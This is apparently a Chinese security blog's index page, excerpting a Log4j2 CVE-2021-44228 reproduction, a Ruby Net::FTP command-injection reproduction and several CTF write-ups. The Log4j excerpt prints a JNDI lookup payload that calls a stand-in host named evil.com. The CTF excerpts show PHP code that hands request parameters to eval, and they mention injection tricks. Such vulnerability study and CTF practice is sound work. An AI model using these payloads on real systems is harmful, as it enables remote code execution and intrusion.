Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
@TOC 0x00 漏洞简介 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。 该工具重写了Log4j框架,并且引入了大量丰富的特性。 我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 该日志框架被大量用于业务系统开发,用来记录日志信息。 Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。 0x01 影响范围 Apache Log4j2 2.x <= 2.14.1 Apache Log4j2 2.15.0-rc1(补丁绕过) log4j + ? = rce ! Apache Flink Apache Struts2 Apache Spark Apache Storm ...
从一道题中学习Soap SSRF和phar反序列化组合拳
@TOC 总结phar反序列化 + Soap SSRF + session利用
Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)漏洞复现
漏洞简介Ruby Net::FTP 模块是一个 FTP 客户端,在上传和下载文件的过程中,打开本地文件时使用了 open 函数。而在 ruby 中,open 函数是借用系统命令来打开文件,且没用过滤 shell 字符,导致在用户控制文件名的情况下,将可以注入任意命令。Vulhub(CVE-2017-17405) 环境搭建靶机使用vulhub提供的docker 12345678910111213141516171819┌──(root💀kali)-[~]└─# cd /root/vulhub/ruby/CVE-2017-17405 ┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]└─#...
第五空间2021 Web题解
WebFTP题目是一个网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码 使用说明 1、初始账号 超级管理员 admin 密码 admin888 成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag EasyCleanup题目给出index源码 12345678910111213141516171819202122232425262728293031323334353637383940<?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; ...
长安战疫cazy wp
Web部分0x01 RCE_No_Para1234567891011<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){ eval($_GET['code']); }else{ die("Hacker!"); }}else{ show_source(__FILE__);}?> 正则匹配/[^\W]+\((?R)?\)/\W...
THUCTF2021 wp
Web方向:showmeyourlove(baby) web的第一道题目,比较简单,点击yes后发现ip地址不对,可以想到需要进行ip地址伪造 抓包后可以发现返回的报文中含有where_is_heart,可以猜到我们需要伪造的ip地址就是172.17.0.1 我们点击yes后,抓包修改请求头部,添加X-Forwarded-For字段,值为172.17.0.1 发包后直接得到flag showmetrick123456789101112131415161718192021222324252627282930313233343536373839404142434445 <?phperror_reporting(0);highlight_file(__FILE__);$var1 = $_GET['var1'] ?: '';$var2 = $_GET['var2'] ?: '';$var3 = $_GET['var3'] ?: '';$var4 =...
东软杯 DNUICTF-Web(部分)
[签到] flag 把得到的字符拼接再b64解码得到flag odd_upload题目环境中有一个文件上传功能,还可以指定保存路径,经过简单尝试后发现本题后端黑名单包括了php和apache配置文件,但是没有包括tpl模板文件smarty框架的模板文件存放在/templates中,可以直接上传同名的index.tpl文件来覆盖原本的tpl文件进行模板注入 成功上传后访问index.php看看渲染的输出 直接在环境变量中找到flag easyinject打开题目是一个简单的登陆界面,在注释中找到一对用户名和密码尝试登陆后,提示flag是一个特殊的用户名,由a-z0-9_组成,看到题目时都会想到需要sql盲注得到用户名,但是尝试各种payload后发现无效 经过尝试,当输入的值中含有括号时会产生如上报错,从报错信息中可知登陆信息是存储在LDAP数据库中的,关于LDAP的介绍可以看这位大佬的博客LDAP的注入与防护 经过简单判断可以大致推测登陆的后端检验语句应该是这样的(&(USER=Uname)(PASSWORD=Pwd)) ...
Base编码方式以及隐写原理
前言base编码是一种常见的编码方式,常见的有base64、base32、base16,最近在做题时碰到了一道base隐写的misc题目,于是上网学习了一下base的编码方式以及隐写原理
春秋杯2021-勇者山峰 secret_chart
打开附件是一张png图片用010查看图片发现存在PK文本,分离出压缩包该压缩包需要解压密码,但本题没用给出任何提示,只能使用工具爆破密码为9572,解压后得到表格将表格合并后得到24*24的列表,想到可能是二维码,于是把所以为1的格子全部设置为黑色,得到Data Matrix码用DataMatrix二维码在线解码工具解析可以得到flag zfua{B3s1o9in1Nw0halUnofuNc0HM1}使用凯撒密码解析 得到flag